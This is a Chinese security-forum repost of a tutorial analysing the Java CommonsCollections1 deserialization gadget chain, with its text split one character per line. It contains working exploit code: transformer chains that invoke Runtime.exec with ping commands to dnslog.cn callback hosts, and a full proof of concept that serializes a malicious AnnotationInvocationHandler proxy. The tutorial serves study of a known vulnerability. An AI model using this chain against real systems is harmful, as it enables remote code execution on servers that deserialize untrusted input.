论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
逆向
[1144] 2020-10-27_Java反序列化学习之CommonsCollections1
文档创建者:
s7ckTeam
浏览次数:
7
最后更新:
2025-01-16
逆向
7 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2020-10-27_Java反序列化学习之CommonsCollections1
J
a
v
a
反
序
列
化
学
习
之
C
o
m
m
o
n
s
C
o
l
l
e
c
t
i
o
n
s
1
原
创
s
y
s
t
1
m
C
h
a
B
u
g
2
0
2
0
-
1
0
-
2
7
调
用
栈
从
最
下
面
开
始
看
起
,
跟
进
o
r
g
/
a
p
a
c
h
e
/
c
o
m
m
o
n
s
/
c
o
l
l
e
c
t
i
o
n
s
/
f
u
n
c
t
o
r
s
/
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
.
c
l
a
s
s
:
5
4
可
以
看
到
t
r
a
n
s
f
o
r
m
方
法
中
有
使
用
反
射
调
用
,
尝
试
使
用
i
n
v
o
k
e
T
r
a
n
s
f
o
r
m
e
r
来
执
行
命
令
p
u
b
l
i
c
c
l
a
s
s
c
c
1
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
{
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
i
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
=
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
e
x
e
c
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
e
w
S
t
r
i
n
g
(
"
p
i
n
g
b
7
n
2
r
5
.
d
n
s
l
o
g
.
c
n
"
)
}
)
;
i
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
.
t
r
a
n
s
f
o
r
m
(
R
u
n
t
i
m
e
.
g
e
t
R
u
n
t
i
m
e
(
)
)
;
}
}
G
a
d
g
e
t
c
h
a
i
n
:
O
b
j
e
c
t
I
n
p
u
t
S
t
r
e
a
m
.
r
e
a
d
O
b
j
e
c
t
(
)
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
.
r
e
a
d
O
b
j
e
c
t
(
)
M
a
p
(
P
r
o
x
y
)
.
e
n
t
r
y
S
e
t
(
)
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
.
i
n
v
o
k
e
(
)
L
a
z
y
M
a
p
.
g
e
t
(
)
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
.
t
r
a
n
s
f
o
r
m
(
)
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
.
t
r
a
n
s
f
o
r
m
(
)
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
.
t
r
a
n
s
f
o
r
m
(
)
M
e
t
h
o
d
.
i
n
v
o
k
e
(
)
C
l
a
s
s
.
g
e
t
M
e
t
h
o
d
(
)
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
.
t
r
a
n
s
f
o
r
m
(
)
M
e
t
h
o
d
.
i
n
v
o
k
e
(
)
R
u
n
t
i
m
e
.
g
e
t
R
u
n
t
i
m
e
(
)
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
.
t
r
a
n
s
f
o
r
m
(
)
M
e
t
h
o
d
.
i
n
v
o
k
e
(
)
R
u
n
t
i
m
e
.
e
x
e
c
(
)
R
u
n
t
i
m
e
.
e
x
e
c
(
)
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
#
t
r
a
n
s
f
o
r
m
T
r
a
n
s
f
o
r
m
e
d
M
a
p
A
p
a
c
h
e
C
o
m
m
o
n
s
C
o
l
l
e
c
t
i
o
n
s
中
实
现
了
类
T
r
a
n
s
f
o
r
m
e
d
M
a
p
,
用
来
对
M
a
p
进
行
某
种
变
换
。
只
要
调
用
d
e
c
o
r
a
t
e
(
)
函
数
,
传
入
k
e
y
和
v
a
l
u
e
的
变
换
函
数
T
r
a
n
s
f
o
r
m
e
r
,
即
可
从
任
意
M
a
p
对
象
生
成
相
应
的
T
r
a
n
s
f
o
r
m
e
d
M
a
p
o
r
g
/
a
p
a
c
h
e
/
c
o
m
m
o
n
s
/
c
o
l
l
e
c
t
i
o
n
s
/
m
a
p
/
T
r
a
n
s
f
o
r
m
e
d
M
a
p
.
c
l
a
s
s
:
2
2
p
u
b
l
i
c
s
t
a
t
i
c
M
a
p
d
e
c
o
r
a
t
e
(
M
a
p
m
a
p
,
T
r
a
n
s
f
o
r
m
e
r
k
e
y
T
r
a
n
s
f
o
r
m
e
r
,
T
r
a
n
s
f
o
r
m
e
r
v
a
l
u
e
T
r
a
n
s
f
o
r
m
e
r
)
{
r
e
t
u
r
n
n
e
w
T
r
a
n
s
f
o
r
m
e
d
M
a
p
(
m
a
p
,
k
e
y
T
r
a
n
s
f
o
r
m
e
r
,
v
a
l
u
e
T
r
a
n
s
f
o
r
m
e
r
)
;
}
o
r
g
/
a
p
a
c
h
e
/
c
o
m
m
o
n
s
/
c
o
l
l
e
c
t
i
o
n
s
/
m
a
p
/
A
b
s
t
r
a
c
t
I
n
p
u
t
C
h
e
c
k
e
d
M
a
p
D
e
c
o
r
a
t
o
r
.
c
l
a
s
s
:
4
3
那
么
什
么
情
况
可
以
调
用
d
e
c
o
r
a
t
e
呢
,
T
r
a
n
s
f
o
r
m
e
d
M
a
p
的
父
类
重
写
了
s
e
t
V
a
l
u
e
方
法
,
当
调
用
s
e
t
V
a
l
u
e
时
,
该
方
法
会
被
调
用
p
u
b
l
i
c
O
b
j
e
c
t
s
e
t
V
a
l
u
e
(
O
b
j
e
c
t
v
a
l
u
e
)
{
v
a
l
u
e
=
t
h
i
s
.
p
a
r
e
n
t
.
c
h
e
c
k
S
e
t
V
a
l
u
e
(
v
a
l
u
e
)
;
r
e
t
u
r
n
t
h
i
s
.
e
n
t
r
y
.
s
e
t
V
a
l
u
e
(
v
a
l
u
e
)
;
}
跟
进
跟
进
c
h
e
c
k
S
e
t
V
a
l
u
e
,
会
调
用
会
调
用
t
r
a
n
s
f
o
r
m
方
法
方
法
p
r
o
t
e
c
t
e
d
O
b
j
e
c
t
c
h
e
c
k
S
e
t
V
a
l
u
e
(
O
b
j
e
c
t
v
a
l
u
e
)
{
r
e
t
u
r
n
t
h
i
s
.
v
a
l
u
e
T
r
a
n
s
f
o
r
m
e
r
.
t
r
a
n
s
f
o
r
m
(
v
a
l
u
e
)
;
}
整
体
逻
辑
s
e
t
V
a
l
u
e
=
>
c
h
e
c
k
S
e
t
V
a
l
u
e
=
>
v
a
l
u
e
T
r
a
n
s
f
o
r
m
e
r
.
t
r
a
n
s
f
o
r
m
(
v
a
l
u
e
)
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
会
将
所
有
的
T
r
a
n
s
f
o
r
m
e
r
进
行
迭
代
,
并
将
传
回
来
的
o
b
j
e
c
t
对
象
放
到
下
一
个
T
r
a
n
s
f
o
r
m
e
r
中
进
行
使
用
。
p
u
b
l
i
c
c
l
a
s
s
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
i
m
p
l
e
m
e
n
t
s
T
r
a
n
s
f
o
r
m
e
r
,
S
e
r
i
a
l
i
z
a
b
l
e
{
.
.
.
省
略
.
.
.
p
u
b
l
i
c
O
b
j
e
c
t
t
r
a
n
s
f
o
r
m
(
O
b
j
e
c
t
o
b
j
e
c
t
)
{
f
o
r
(
i
n
t
i
=
0
;
i
<
i
T
r
a
n
s
f
o
r
m
e
r
s
.
l
e
n
g
t
h
;
i
+
+
)
{
o
b
j
e
c
t
=
i
T
r
a
n
s
f
o
r
m
e
r
s
[
i
]
.
t
r
a
n
s
f
o
r
m
(
o
b
j
e
c
t
)
;
}
r
e
t
u
r
n
o
b
j
e
c
t
;
}
构
造
链
T
r
a
n
s
f
o
r
m
e
r
[
]
t
r
a
n
s
f
o
r
m
e
r
s
=
n
e
w
T
r
a
n
s
f
o
r
m
e
r
[
]
{
n
e
w
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
(
R
u
n
t
i
m
e
.
c
l
a
s
s
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
g
e
t
M
e
t
h
o
d
"
,
/
/
方
法
名
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
,
C
l
a
s
s
[
]
.
c
l
a
s
s
}
,
/
/
参
数
类
型
n
e
w
O
b
j
e
c
t
[
]
{
"
g
e
t
R
u
n
t
i
m
e
"
,
n
e
w
C
l
a
s
s
[
0
]
}
)
,
/
/
参
数
值
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
i
n
v
o
k
e
"
,
n
e
w
C
l
a
s
s
[
]
{
O
b
j
e
c
t
.
c
l
a
s
s
,
O
b
j
e
c
t
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
u
l
l
,
n
e
w
O
b
j
e
c
t
[
0
]
}
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
e
x
e
c
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
c
a
l
c
"
}
)
}
;
构
造
代
码
执
行
调
用
链
为
:
s
e
t
V
a
l
u
e
-
>
c
h
e
c
k
S
e
t
V
a
l
u
e
-
>
v
a
l
u
e
T
r
a
n
s
f
o
r
m
e
r
.
t
r
a
n
s
f
o
r
m
-
>
此
时
的
v
a
l
u
e
T
r
a
n
s
f
o
r
m
e
r
为
c
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
,
进
入
c
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
的
t
r
a
n
s
f
o
r
m
,
依
此
调
用
t
r
a
n
s
f
o
r
m
e
r
s
,
达
到
命
令
执
行
的
效
果
。
p
u
b
l
i
c
c
l
a
s
s
c
c
1
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
{
T
r
a
n
s
f
o
r
m
e
r
[
]
t
r
a
n
s
f
o
r
m
e
r
s
=
n
e
w
T
r
a
n
s
f
o
r
m
e
r
[
]
{
n
e
w
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
(
R
u
n
t
i
m
e
.
c
l
a
s
s
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
g
e
t
M
e
t
h
o
d
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
,
C
l
a
s
s
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
g
e
t
R
u
n
t
i
m
e
"
,
n
e
w
C
l
a
s
s
[
0
]
}
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
i
n
v
o
k
e
"
,
n
e
w
C
l
a
s
s
[
]
{
O
b
j
e
c
t
.
c
l
a
s
s
,
O
b
j
e
c
t
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
u
l
l
,
n
e
w
O
b
j
e
c
t
[
0
]
}
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
e
x
e
c
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
p
i
n
g
i
f
d
y
m
1
.
d
n
s
l
o
g
.
c
n
"
}
)
}
;
T
r
a
n
s
f
o
r
m
e
r
c
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
=
n
e
w
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
(
t
r
a
n
s
f
o
r
m
e
r
s
)
;
M
a
p
q
m
a
p
=
n
e
w
H
a
s
h
M
a
p
(
)
;
q
m
a
p
.
p
u
t
(
"
k
e
y
"
,
"
v
a
l
u
e
"
)
;
M
a
p
o
u
t
m
a
p
=
T
r
a
n
s
f
o
r
m
e
d
M
a
p
.
d
e
c
o
r
a
t
e
(
q
m
a
p
,
n
u
l
l
,
c
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
)
;
f
o
r
(
I
t
e
r
a
t
o
r
i
t
e
r
a
t
o
r
=
o
u
t
m
a
p
.
e
n
t
r
y
S
e
t
(
)
.
i
t
e
r
a
t
o
r
(
)
;
i
t
e
r
a
t
o
r
.
h
a
s
N
e
x
t
(
)
;
)
{
M
a
p
.
E
n
t
r
y
e
n
t
r
y
=
(
M
a
p
.
E
n
t
r
y
)
i
t
e
r
a
t
o
r
.
n
e
x
t
(
)
;
e
n
t
r
y
.
s
e
t
V
a
l
u
e
(
"
s
y
s
t
1
m
"
)
;
}
}
}
如
何
进
行
命
令
执
行
的
如
何
进
行
命
令
执
行
的
常
规
的
命
令
执
行
R
u
n
t
i
m
e
.
g
e
t
R
u
n
t
i
m
e
(
)
.
e
x
e
c
(
"
p
i
n
g
c
l
4
t
j
q
.
d
n
s
l
o
g
.
c
n
"
)
;
通
过
反
射
调
用
执
行
C
l
a
s
s
r
u
n
=
C
l
a
s
s
.
f
o
r
N
a
m
e
(
"
j
a
v
a
.
l
a
n
g
.
R
u
n
t
i
m
e
"
)
;
M
e
t
h
o
d
g
e
t
r
u
n
=
r
u
n
.
g
e
t
M
e
t
h
o
d
(
"
g
e
t
R
u
n
t
i
m
e
"
)
;
M
e
t
h
o
d
e
x
e
c
=
r
u
n
.
g
e
t
M
e
t
h
o
d
(
"
e
x
e
c
"
,
S
t
r
i
n
g
.
c
l
a
s
s
)
;
e
x
e
c
.
i
n
v
o
k
e
(
g
e
t
r
u
n
.
i
n
v
o
k
e
(
r
u
n
)
,
"
p
i
n
g
m
f
e
q
1
h
.
d
n
s
l
o
g
.
c
n
"
)
;
知
识
点
为
什
么
都
有
了
为
什
么
都
有
了
g
e
t
M
e
t
o
d
,
还
要
传
,
还
要
传
g
e
t
M
e
t
o
d
因
为
在
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
,
需
要
传
入
2
个
参
数
,
但
是
R
u
n
t
i
m
e
是
无
参
数
的
L
a
z
y
M
a
p
L
a
z
y
M
a
p
实
现
了
M
a
p
接
口
,
g
e
t
方
法
调
用
了
t
r
a
n
s
f
o
r
m
(
)
方
法
,
跟
进
函
数
p
u
b
l
i
c
O
b
j
e
c
t
g
e
t
(
O
b
j
e
c
t
k
e
y
)
{
i
f
(
!
t
h
i
s
.
m
a
p
.
c
o
n
t
a
i
n
s
K
e
y
(
k
e
y
)
)
{
O
b
j
e
c
t
v
a
l
u
e
=
t
h
i
s
.
f
a
c
t
o
r
y
.
t
r
a
n
s
f
o
r
m
(
k
e
y
)
;
t
h
i
s
.
m
a
p
.
p
u
t
(
k
e
y
,
v
a
l
u
e
)
;
r
e
t
u
r
n
v
a
l
u
e
;
}
e
l
s
e
{
r
e
t
u
r
n
t
h
i
s
.
m
a
p
.
g
e
t
(
k
e
y
)
;
}
}
首
先
判
断
当
前
的
k
e
y
是
否
存
在
,
如
果
不
存
在
则
调
用
那
么
怎
么
设
置
f
a
c
t
o
r
y
的
值
呢
,
在
d
e
c
o
r
a
t
e
方
法
中
传
入
参
数
会
新
建
一
个
L
a
z
y
M
a
p
类
并
设
置
f
a
c
t
o
r
y
p
u
b
l
i
c
s
t
a
t
i
c
M
a
p
d
e
c
o
r
a
t
e
(
M
a
p
m
a
p
,
T
r
a
n
s
f
o
r
m
e
r
f
a
c
t
o
r
y
)
{
r
e
t
u
r
n
n
e
w
L
a
z
y
M
a
p
(
m
a
p
,
f
a
c
t
o
r
y
)
;
}
寻
找
一
个
类
,
在
对
象
进
行
反
序
列
化
时
会
调
用
我
们
精
心
构
造
对
象
的
寻
找
一
个
类
,
在
对
象
进
行
反
序
列
化
时
会
调
用
我
们
精
心
构
造
对
象
的
g
e
t
(
O
b
j
e
c
t
)
方
法
方
法
t
h
i
s
.
f
a
c
t
o
r
y
.
t
r
a
n
s
f
o
r
m
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
前
面
都
是
自
己
调
用
的
,
现
在
需
要
一
个
r
e
a
d
O
b
j
e
c
t
(
)
时
自
动
触
发
g
e
t
方
法
s
u
n
/
r
e
f
l
e
c
t
/
a
n
n
o
t
a
t
i
o
n
/
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
.
c
l
a
s
s
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
可
以
实
现
这
个
需
求
s
u
n
/
r
e
f
l
e
c
t
/
a
n
n
o
t
a
t
i
o
n
/
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
.
c
l
a
s
s
:
3
8
p
u
b
l
i
c
O
b
j
e
c
t
i
n
v
o
k
e
(
O
b
j
e
c
t
v
a
r
1
,
M
e
t
h
o
d
v
a
r
2
,
O
b
j
e
c
t
[
]
v
a
r
3
)
{
S
t
r
i
n
g
v
a
r
4
=
v
a
r
2
.
g
e
t
N
a
m
e
(
)
;
C
l
a
s
s
[
]
v
a
r
5
=
v
a
r
2
.
g
e
t
P
a
r
a
m
e
t
e
r
T
y
p
e
s
(
)
;
i
f
(
v
a
r
4
.
e
q
u
a
l
s
(
"
e
q
u
a
l
s
"
)
&
&
v
a
r
5
.
l
e
n
g
t
h
=
=
1
&
&
v
a
r
5
[
0
]
=
=
O
b
j
e
c
t
.
c
l
a
s
s
)
{
r
e
t
u
r
n
t
h
i
s
.
e
q
u
a
l
s
I
m
p
l
(
v
a
r
3
[
0
]
)
;
}
e
l
s
e
{
a
s
s
e
r
t
v
a
r
5
.
l
e
n
g
t
h
=
=
0
;
i
f
(
v
a
r
4
.
e
q
u
a
l
s
(
"
t
o
S
t
r
i
n
g
"
)
)
{
r
e
t
u
r
n
t
h
i
s
.
t
o
S
t
r
i
n
g
I
m
p
l
(
)
;
}
e
l
s
e
i
f
(
v
a
r
4
.
e
q
u
a
l
s
(
"
h
a
s
h
C
o
d
e
"
)
)
{
r
e
t
u
r
n
t
h
i
s
.
h
a
s
h
C
o
d
e
I
m
p
l
(
)
;
}
e
l
s
e
i
f
(
v
a
r
4
.
e
q
u
a
l
s
(
"
a
n
n
o
t
a
t
i
o
n
T
y
p
e
"
)
)
{
r
e
t
u
r
n
t
h
i
s
.
t
y
p
e
;
}
e
l
s
e
{
O
b
j
e
c
t
v
a
r
6
=
t
h
i
s
.
m
e
m
b
e
r
V
a
l
u
e
s
.
g
e
t
(
v
a
r
4
)
;
i
f
(
v
a
r
6
=
=
n
u
l
l
)
{
t
h
r
o
w
n
e
w
I
n
c
o
m
p
l
e
t
e
A
n
n
o
t
a
t
i
o
n
E
x
c
e
p
t
i
o
n
(
t
h
i
s
.
t
y
p
e
,
v
a
r
4
)
;
}
e
l
s
e
i
f
(
v
a
r
6
i
n
s
t
a
n
c
e
o
f
E
x
c
e
p
t
i
o
n
P
r
o
x
y
)
{
t
h
r
o
w
(
(
E
x
c
e
p
t
i
o
n
P
r
o
x
y
)
v
a
r
6
)
.
g
e
n
e
r
a
t
e
E
x
c
e
p
t
i
o
n
(
)
;
}
e
l
s
e
{
i
f
(
v
a
r
6
.
g
e
t
C
l
a
s
s
(
)
.
i
s
A
r
r
a
y
(
)
&
&
A
r
r
a
y
.
g
e
t
L
e
n
g
t
h
(
v
a
r
6
)
!
=
0
)
{
v
a
r
6
=
t
h
i
s
.
c
l
o
n
e
A
r
r
a
y
(
v
a
r
6
)
;
}
r
e
t
u
r
n
v
a
r
6
;
}
}
}
}
中
调
用
了
g
e
t
方
法
,
m
e
m
b
e
r
V
a
l
u
e
s
定
义
为
需
要
触
发
i
n
v
o
k
e
方
法
。
r
e
a
d
O
b
j
e
c
t
方
法
p
r
i
v
a
t
e
v
o
i
d
r
e
a
d
O
b
j
e
c
t
(
O
b
j
e
c
t
I
n
p
u
t
S
t
r
e
a
m
v
a
r
1
)
t
h
r
o
w
s
I
O
E
x
c
e
p
t
i
o
n
,
C
l
a
s
s
N
o
t
F
o
u
n
d
E
x
c
e
p
t
i
o
n
{
v
a
r
1
.
d
e
f
a
u
l
t
R
e
a
d
O
b
j
e
c
t
(
)
;
A
n
n
o
t
a
t
i
o
n
T
y
p
e
v
a
r
2
=
n
u
l
l
;
t
r
y
{
v
a
r
2
=
A
n
n
o
t
a
t
i
o
n
T
y
p
e
.
g
e
t
I
n
s
t
a
n
c
e
(
t
h
i
s
.
t
y
p
e
)
;
}
c
a
t
c
h
(
I
l
l
e
g
a
l
A
r
g
u
m
e
n
t
E
x
c
e
p
t
i
o
n
v
a
r
9
)
{
t
h
r
o
w
n
e
w
I
n
v
a
l
i
d
O
b
j
e
c
t
E
x
c
e
p
t
i
o
n
(
"
N
o
n
-
a
n
n
o
t
a
t
i
o
n
t
y
p
e
i
n
a
n
n
o
t
a
t
i
o
n
s
e
r
i
a
l
s
t
r
e
a
m
"
)
;
}
M
a
p
v
a
r
3
=
v
a
r
2
.
m
e
m
b
e
r
T
y
p
e
s
(
)
;
I
t
e
r
a
t
o
r
v
a
r
4
=
t
h
i
s
.
m
e
m
b
e
r
V
a
l
u
e
s
.
e
n
t
r
y
S
e
t
(
)
.
i
t
e
r
a
t
o
r
(
)
;
O
b
j
e
c
t
v
a
r
6
=
t
h
i
s
.
m
e
m
b
e
r
V
a
l
u
e
s
.
g
e
t
(
v
a
r
4
)
;
p
r
i
v
a
t
e
f
i
n
a
l
M
a
p
<
S
t
r
i
n
g
,
O
b
j
e
c
t
>
m
e
m
b
e
r
V
a
l
u
e
s
;
w
h
i
l
e
(
v
a
r
4
.
h
a
s
N
e
x
t
(
)
)
{
E
n
t
r
y
v
a
r
5
=
(
E
n
t
r
y
)
v
a
r
4
.
n
e
x
t
(
)
;
S
t
r
i
n
g
v
a
r
6
=
(
S
t
r
i
n
g
)
v
a
r
5
.
g
e
t
K
e
y
(
)
;
C
l
a
s
s
v
a
r
7
=
(
C
l
a
s
s
)
v
a
r
3
.
g
e
t
(
v
a
r
6
)
;
i
f
(
v
a
r
7
!
=
n
u
l
l
)
{
O
b
j
e
c
t
v
a
r
8
=
v
a
r
5
.
g
e
t
V
a
l
u
e
(
)
;
i
f
(
!
v
a
r
7
.
i
s
I
n
s
t
a
n
c
e
(
v
a
r
8
)
&
&
!
(
v
a
r
8
i
n
s
t
a
n
c
e
o
f
E
x
c
e
p
t
i
o
n
P
r
o
x
y
)
)
{
v
a
r
5
.
s
e
t
V
a
l
u
e
(
(
n
e
w
A
n
n
o
t
a
t
i
o
n
T
y
p
e
M
i
s
m
a
t
c
h
E
x
c
e
p
t
i
o
n
P
r
o
x
y
(
v
a
r
8
.
g
e
t
C
l
a
s
s
(
)
+
"
[
"
+
v
a
r
8
+
"
]
"
)
)
.
s
e
t
M
e
m
b
e
r
(
(
M
e
t
h
o
d
)
v
a
r
2
.
m
e
m
b
e
r
s
(
)
.
g
e
t
(
v
a
r
6
)
)
)
;
}
}
}
}
可
以
看
到
,
如
果
此
处
的
t
h
i
s
.
m
e
m
b
e
r
V
a
l
u
e
s
是
通
过
动
态
代
理
构
建
的
,
那
么
当
t
h
i
s
.
m
e
m
b
e
r
V
a
l
u
e
s
进
行
方
法
调
用
时
是
使
用
代
理
类
的
i
n
v
o
k
e
方
法
进
行
调
用
的
最
终
代
码
p
u
b
l
i
c
c
l
a
s
s
c
c
1
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
{
T
r
a
n
s
f
o
r
m
e
r
[
]
t
r
a
n
s
f
o
r
m
e
r
s
=
n
e
w
T
r
a
n
s
f
o
r
m
e
r
[
]
{
n
e
w
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
(
R
u
n
t
i
m
e
.
c
l
a
s
s
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
g
e
t
M
e
t
h
o
d
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
,
C
l
a
s
s
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
g
e
t
R
u
n
t
i
m
e
"
,
n
e
w
C
l
a
s
s
[
0
]
}
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
i
n
v
o
k
e
"
,
n
e
w
C
l
a
s
s
[
]
{
O
b
j
e
c
t
.
c
l
a
s
s
,
O
b
j
e
c
t
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
u
l
l
,
n
e
w
O
b
j
e
c
t
[
0
]
}
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
e
x
e
c
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
o
p
e
n
/
S
y
s
t
e
m
/
A
p
p
l
i
c
a
t
i
o
n
s
/
C
a
l
c
u
l
a
t
o
r
.
a
p
p
/
C
o
n
t
e
n
t
s
/
M
a
c
O
S
/
C
a
l
c
u
l
a
t
o
r
"
}
)
}
;
T
r
a
n
s
f
o
r
m
e
r
t
r
a
n
s
f
o
r
m
e
r
C
h
a
i
n
=
n
e
w
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
(
t
r
a
n
s
f
o
r
m
e
r
s
)
;
M
a
p
i
n
n
e
r
M
a
p
=
n
e
w
H
a
s
h
M
a
p
(
)
;
M
a
p
l
a
z
y
m
a
p
=
L
a
z
y
M
a
p
.
d
e
c
o
r
a
t
e
(
i
n
n
e
r
M
a
p
,
t
r
a
n
s
f
o
r
m
e
r
C
h
a
i
n
)
;
C
o
n
s
t
r
u
c
t
o
r
c
o
n
s
t
r
u
c
t
o
r
=
C
l
a
s
s
.
f
o
r
N
a
m
e
(
"
s
u
n
.
r
e
f
l
e
c
t
.
a
n
n
o
t
a
t
i
o
n
.
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
"
)
.
g
e
t
D
e
c
l
a
r
e
d
C
o
n
s
t
r
u
c
t
o
r
(
C
l
a
s
s
.
c
l
a
s
s
,
M
a
p
.
c
l
a
s
s
)
;
c
o
n
s
t
r
u
c
t
o
r
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
i
n
v
o
=
(
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
)
c
o
n
s
t
r
u
c
t
o
r
.
n
e
w
I
n
s
t
a
n
c
e
(
O
v
e
r
r
i
d
e
.
c
l
a
s
s
,
l
a
z
y
m
a
p
)
;
O
b
j
e
c
t
p
r
o
x
y
=
P
r
o
x
y
.
n
e
w
P
r
o
x
y
I
n
s
t
a
n
c
e
(
i
n
v
o
.
g
e
t
C
l
a
s
s
(
)
.
g
e
t
C
l
a
s
s
L
o
a
d
e
r
(
)
,
n
e
w
C
l
a
s
s
[
]
{
M
a
p
.
c
l
a
s
s
}
,
i
n
v
o
)
;
c
o
n
s
t
r
u
c
t
o
r
=
C
l
a
s
s
.
f
o
r
N
a
m
e
(
"
s
u
n
.
r
e
f
l
e
c
t
.
a
n
n
o
t
a
t
i
o
n
.
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
"
)
.
g
e
t
D
e
c
l
a
r
e
d
C
o
n
s
t
r
u
c
t
o
r
(
C
l
a
s
s
.
c
l
a
s
s
,
M
a
p
.
c
l
a
s
s
)
;
c
o
n
s
t
r
u
c
t
o
r
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
O
b
j
e
c
t
o
b
j
=
c
o
n
s
t
r
u
c
t
o
r
.
n
e
w
I
n
s
t
a
n
c
e
(
O
v
e
r
r
i
d
e
.
c
l
a
s
s
,
p
r
o
x
y
)
;
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
o
o
s
=
n
e
w
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
(
n
e
w
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
(
"
o
u
t
.
b
i
n
"
)
)
;
o
o
s
.
w
r
i
t
e
O
b
j
e
c
t
(
o
b
j
)
;
O
b
j
e
c
t
I
n
p
u
t
S
t
r
e
a
m
d
=
n
e
w
O
b
j
e
c
t
I
n
p
u
t
S
t
r
e
a
m
(
n
e
w
F
i
l
e
I
n
p
u
t
S
t
r
e
a
m
(
"
o
u
t
.
b
i
n
"
)
)
;
d
.
r
e
a
d
O
b
j
e
c
t
(
)
;
}
}
t
h
i
s
.
m
e
m
b
